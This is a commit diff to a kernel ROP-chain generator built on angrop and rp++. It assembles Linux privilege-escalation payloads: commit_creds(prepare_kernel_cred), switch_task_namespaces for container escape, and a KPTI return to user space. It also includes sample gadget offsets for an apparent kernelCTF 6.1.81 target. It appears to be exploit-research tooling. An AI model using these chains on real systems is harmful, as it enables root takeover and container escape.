Skip to content

Commit e86c7c7

Browse files
committed
rop_generator: fix: commit_creds RA now calls prepare_kernel_cred (fixes refcount issue), add RP++ output caching option, remove type_ids
1 parent bbfda16 commit e86c7c7

File tree

3 files changed

+38
-40
lines changed

3 files changed

+38
-40
lines changed

kernel_rop_generator/angrop_rop_generator.py

Lines changed: 23 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,12 @@
1616
from gadget_filter import GadgetFilter
1717

1818
sys.path.append(os.path.abspath(f"{__file__}/../.."))
19-
from kxdb_tool.data_model.rop_chain import *
19+
from kxdb_tool.data_model.rop_chain import RopChainConstant, RopChainOffset, RopChainArgument, RopAction, RopActions
2020
from kxdb_tool.data_model.serialization import *
2121

2222
BIT_SIZE = 64
2323
PREPARE_KERNEL_CRED = "prepare_kernel_cred"
24-
COMMIT_KERNEL_CRED = "commit_creds"
24+
COMMIT_CREDS = "commit_creds"
2525
INIT_CRED = "init_cred"
2626
FIND_TASK_BY_VPID = "find_task_by_vpid"
2727
SWITCH_TASK_NAMESPACES = "switch_task_namespaces"
@@ -52,13 +52,15 @@ def __init__(self, message):
5252
class RopGeneratorAngrop:
5353
"""Generates ROP chains using angrop."""
5454

55-
def __init__(self, vmlinux_path) -> None:
55+
def __init__(self, vmlinux_path, rpp_cache) -> None:
5656
"""Initializes the ROP generator.
5757
5858
Args:
5959
vmlinux_path: path to the vmlinux file
60+
rpp_cache: path for a file where the output of rp++ can be cached
6061
"""
6162
self._vmlinux_path = vmlinux_path
63+
self._rpp_cache = rpp_cache
6264

6365
# load angr on a stripped binary for speed
6466
with tempfile.NamedTemporaryFile(delete=True) as tmpfile:
@@ -109,7 +111,7 @@ def _find_rop_gadgets(self, rop):
109111
110112
This is done to avoid the slowness of analyzing the entire kernel binary with angrop
111113
"""
112-
rop_backend = gadget_finder.RppBackend(self._vmlinux_path, RPP_CONTEXT_SIZE)
114+
rop_backend = gadget_finder.RppBackend(self._vmlinux_path, RPP_CONTEXT_SIZE, self._rpp_cache)
113115
possible_gadgets = gadget_finder.find_gadgets(rop_backend)
114116
logger.debug("gadgets before filter: %d", len(possible_gadgets))
115117
gadget_filter = GadgetFilter()
@@ -152,9 +154,6 @@ def mov_reg_memory_writes(self):
152154
"""
153155
Finds gadgets that perform 'mov rdi, rax' which contain a memory write.
154156
155-
Args:
156-
binary_path: Path to the binary file.
157-
158157
Returns:
159158
A list of dictionaries, where each dictionary contains the gadget and the
160159
address controller register for the memory write, or an empty list if none are found.
@@ -212,20 +211,20 @@ def _mov_rdi_rax(self):
212211
chain_mov_regs = self._rop.move_regs(**{"rdi": "rax"})
213212
except angrop.errors.RopException:
214213
pass
214+
215215
if not chain_mov_regs:
216216
chain_mov_regs = self.mov_reg_memory_writes()
217+
217218
if not chain_mov_regs:
218219
raise RopGeneratorError("Unable to find a mov rdi, rax gadget.")
219-
items = []
220+
220221
for value, rebased in chain_mov_regs._concretize_chain_values(): # pylint: disable=protected-access
221222
if rebased:
222-
items.append(RopChainOffset(
223+
return RopChainOffset(
223224
kernel_offset=value - KERNEL_BASE_ADDRESS,
224-
description=f"mov rdi, rax"))
225+
description=f"mov rdi, rax")
225226
else:
226-
items.append(RopChainConstant(value))
227-
228-
return items
227+
return RopChainConstant(value)
229228

230229
def find_memory_write(self):
231230
"""Finds the shortest ROP gadget with a single memory write where the address is controlled by 'rsi'
@@ -266,7 +265,7 @@ def build_rop_chain(self):
266265
)
267266
chain += self._rop.move_regs(rdi="rax")
268267
chain += self._rop.func_call(
269-
self._find_symbol_addr(COMMIT_KERNEL_CRED), []
268+
self._find_symbol_addr(COMMIT_CREDS), []
270269
)
271270
chain += self._rop.func_call(
272271
self._find_symbol_addr(FIND_TASK_BY_VPID), [1]
@@ -380,7 +379,6 @@ def rop_action_msleep(self, msecs: RopChainConstant | RopChainArgument):
380379
RopChain: The constructed ROP chain to execute the `msleep` function.
381380
"""
382381
return RopAction(
383-
type_id=0x01,
384382
description="msleep(ARG_time_msec)",
385383
gadgets=[
386384
self._find_pop_one_reg("rdi"),
@@ -397,16 +395,17 @@ def rop_action_commit_creds(self):
397395
items = [
398396
self._find_pop_one_reg("rdi"),
399397
self._find_symbol(INIT_CRED),
400-
self._find_symbol(COMMIT_KERNEL_CRED)
398+
self._find_symbol(PREPARE_KERNEL_CRED),
399+
self._mov_rdi_rax(),
400+
self._find_symbol(COMMIT_CREDS)
401401
]
402402

403403
return RopAction(
404-
type_id=0x02,
405-
description="commit_kernel_cred(prepare_kernel_cred(0))",
404+
description="commit_creds(prepare_kernel_cred(&init_task))",
406405
gadgets=items)
407406

408407
def rop_action_switch_task_namespaces(self, vpid: RopChainConstant | RopChainArgument):
409-
"""Constructs a ROP action to call fswitch_task_namespaces.
408+
"""Constructs a ROP action to call switch_task_namespaces.
410409
411410
Returns:
412411
RopChain: The constructed ROP chain.
@@ -415,17 +414,13 @@ def rop_action_switch_task_namespaces(self, vpid: RopChainConstant | RopChainArg
415414
self._find_pop_one_reg("rdi"),
416415
vpid,
417416
self._find_symbol(FIND_TASK_BY_VPID),
418-
]
419-
420-
items.extend(self._mov_rdi_rax())
421-
items.extend([
417+
self._mov_rdi_rax(),
422418
self._find_pop_one_reg("rsi"),
423419
self._find_symbol(INIT_NSPROXY),
424-
])
425-
items.append(self._find_symbol(SWITCH_TASK_NAMESPACES))
420+
self._find_symbol(SWITCH_TASK_NAMESPACES)
421+
]
426422

427423
return RopAction(
428-
type_id=0x03,
429424
description="switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)",
430425
gadgets=items)
431426

@@ -443,7 +438,6 @@ def rop_action_ret_via_kpti_retpoline(
443438
RopChain: The constructed ROP chain.
444439
"""
445440
return RopAction(
446-
type_id=0x07,
447441
description="ret_via_kpti_retpoline(ARG_user_rip, ARG_user_cs, ARG_user_rflags, ARG_user_sp, ARG_user_ss)",
448442
gadgets=[
449443
RopChainOffset(
@@ -465,7 +459,6 @@ def rop_action_fork(self):
465459
RopChain: The constructed ROP chain.
466460
"""
467461
return RopAction(
468-
type_id=0x05,
469462
description="fork()",
470463
gadgets=[self._find_symbol(FORK)])
471464

@@ -483,7 +476,6 @@ def rop_action_telefork(self, msecs: RopChainConstant | RopChainArgument):
483476
]
484477

485478
return RopAction(
486-
type_id=0x06,
487479
description="telefork(ARG_sleep_msec)",
488480
gadgets=items)
489481

@@ -502,7 +494,6 @@ def rop_action_write_what_where_64(self, address, value):
502494
description="mov qword ptr [rsi], rdi")]
503495

504496
return RopAction(
505-
type_id=0x04,
506497
description="write_what_where_64(ARG_address, ARG_new_value)",
507498
gadgets=items)
508499

@@ -514,6 +505,7 @@ def rop_action_write_what_where_64(self, address, value):
514505
parser.add_argument("vmlinux_path", help="Path to vmlinux file")
515506
parser.add_argument("--output", choices=["python", "json"], default="python")
516507
parser.add_argument("--json-indent", type=int, default=None)
508+
parser.add_argument("--rpp-cache", help="Path to cache the output of r++")
517509
args = parser.parse_args()
518510

519511
patched_vmlinux_path = pathlib.Path(
@@ -523,7 +515,7 @@ def rop_action_write_what_where_64(self, address, value):
523515
if not patched_vmlinux_path.exists():
524516
RopInstructionPatcher(args.vmlinux_path).apply_patches(patched_vmlinux_path)
525517

526-
rop_generator = RopGeneratorAngrop(patched_vmlinux_path)
518+
rop_generator = RopGeneratorAngrop(patched_vmlinux_path, args.rpp_cache)
527519
action_sleep = rop_generator.rop_action_msleep(RopChainArgument(0))
528520
action_commit_creds = rop_generator.rop_action_commit_creds()
529521
action_switch_task_namespace = rop_generator.rop_action_switch_task_namespaces(RopChainArgument(0))

kernel_rop_generator/gadget_finder.py

Lines changed: 15 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
import subprocess
33
import re
44
import sys
5+
import os.path
56
from elftools.elf.elffile import ELFFile
67
from elftools.common.exceptions import ELFError
78
from rop_util import setup_logger
@@ -41,7 +42,7 @@ def get_text_section_range(self):
4142
return get_text_section_range(self.binary_path) if self.binary_path else (0, float("inf"))
4243

4344
class RppBackend(RopGadgetBackend):
44-
def __init__(self, binary_path, context_size):
45+
def __init__(self, binary_path, context_size, cache_fn=None):
4546
"""Backend using the rp++ tool
4647
4748
Args:
@@ -50,8 +51,13 @@ def __init__(self, binary_path, context_size):
5051
"""
5152
super().__init__(binary_path)
5253
self.context_size = context_size
54+
self.cache_fn = cache_fn
5355

5456
def get_gadgets(self):
57+
if self.cache_fn and os.path.isfile(self.cache_fn):
58+
with open(self.cache_fn, "rt") as f:
59+
return f.readlines()
60+
5561
try:
5662
logger.debug("running gadget finder rp++")
5763
result = subprocess.check_output(['rp++', '-r', str(self.context_size), '-f',
@@ -64,22 +70,25 @@ def get_gadgets(self):
6470
# rp++ starts by printing a preamble
6571
# find the last preamble line
6672
lines = result.splitlines()
67-
start_line_index = 0
6873
for i, l in enumerate(lines):
6974
if "gadgets found." in l:
70-
start_line_index = i+1
75+
lines = lines[i+1:]
7176
break
7277

73-
for line in lines[start_line_index:]:
74-
yield line
78+
if self.cache_fn:
79+
with open(self.cache_fn, "wt") as f:
80+
f.writelines(f"{l}\n" for l in lines)
81+
82+
return lines
7583

7684
class TextFileBackend(RopGadgetBackend):
7785
def __init__(self, file_path, vmlinux_path=None):
7886
super().__init__(vmlinux_path)
7987
self.file_path = file_path
8088

8189
def get_gadgets(self):
82-
return open(self.file_path, "rt")
90+
with open(self.file_path, "rt") as f:
91+
return f.readlines()
8392

8493
def run_gadget_finder(backend):
8594
"""

kernel_rop_generator/rop_samples.py

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,6 @@
1414
rop_actions = {
1515
"kernelctf/lts-6.1.81": [
1616
RopAction(
17-
type_id=0x01,
1817
description="msleep(ARG_time_msec)",
1918
gadgets=[
2019
RopChainOffset(kernel_offset=0x21f5, description="pop rdi"),
@@ -23,7 +22,6 @@
2322

2423
# commit_kernel_cred(prepare_kernel_cred(0))
2524
RopAction(
26-
type_id=0x02,
2725
description="commit_kernel_cred(prepare_kernel_cred(0))",
2826
gadgets=[
2927
RopChainOffset(kernel_offset=0x21f5, description="pop rdi"),
@@ -34,7 +32,6 @@
3432

3533
# switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)
3634
RopAction(
37-
type_id=0x03,
3835
description="switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)",
3936
gadgets=[
4037
RopChainOffset(kernel_offset=0x21f5, description="pop rdi"),

0 commit comments

Comments
 (0)